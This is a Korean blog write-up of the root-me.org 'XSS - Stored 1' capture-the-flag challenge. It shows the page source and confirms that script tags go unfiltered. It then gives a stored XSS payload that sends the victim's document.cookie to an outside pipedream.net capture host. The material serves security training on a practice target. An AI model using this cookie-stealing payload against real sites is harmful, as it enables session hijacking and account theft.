Web - Client | XSS - Stored 1
2022. 6. 1. 19:16ㆍroot-me.org
728x90
메인 페이지를 들어가니 Title과 Message를 적는 부분이 나옵니다.
우선 Xss Test부터 해보겠습니다.
이렇게 메시지를 보내보니 제대로 alert 창이 떴습니다.
이제 XSS 구문을 어떻게 만들지 생각해보겠습니다.
우선 개발자 도구를 열어서 소스코드부터 뜯어보겠습니다.
<html>
<head>
<title>Forum v0.001</title>
</head>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
<h1>Forum v0.001</h1>
<hr/>
<span style="text-align: right; float:right;">Status: visitor</span><br/>
<b>message enregistré / content saved</b><br/><br/> <form action="" method="POST" >
<div>
Title:<br/>
<input type="text" name="titre" value="" />
</div><br/>
<div>
Message:<br/>
<textarea name="message" rows="3" cols="50"></textarea>
</div>
<div>
<input type="submit" value="send" />
</div>
</form><br/><br/>
<div>
<div>Posted messages:</div><br/>
<span><b>Welcome</b></span><br/>
<span>N'hésitez pas à me laisser un message / Feel free to leave a message</span><br/><hr/>
<span><b>xss</b></span><br/><span><script>alert(1)</script></span><br/><hr/>
</div>
</body>
</html>
코드의 아래쪽을 보면 script 태그 사이에 제가 Message에 넣어 보냈던 alert 구문이 들어가 있는 걸 확인할 수 있습니다.
이 말인 즉슨, 이 페이지에서는 script 구문을 필터링하지 않으며 바로 웹페이지가 변조되도록 되어있다는 거죠.
그럼 바로 쿠키 값만 탈취해오면 될 것 같습니다.
Message 부분에 페이로드를 넣어 보내준 다음 위 사이트에서 request를 받아서 Cookie값을 확인해주겠습니다.
<script>document.write("<img src='https://8f2e8a8d13b0566a33bd39f96326c579.m.pipedream.net/
?cookie="+document.cookie+"'></img>");</script>
문제 다 풀어놓고 다른 문제 FLAG 제출란에 FLAG 넣고 있었네요...ㅋㅋ
왜 안되나 했다.....
728x90
'root-me.org' 카테고리의 다른 글
Web - Server | HTTP - Open redirect (0) | 2022.06.03 |
---|---|
Web - Server | HTML - Source code (0) | 2022.06.02 |
Web - Client | Javascript - Obfuscation 3 (0) | 2022.05.29 |
Web - Client | Javascript - Webpack (0) | 2022.05.28 |
Web - Client | Javascript - Native code (0) | 2022.05.27 |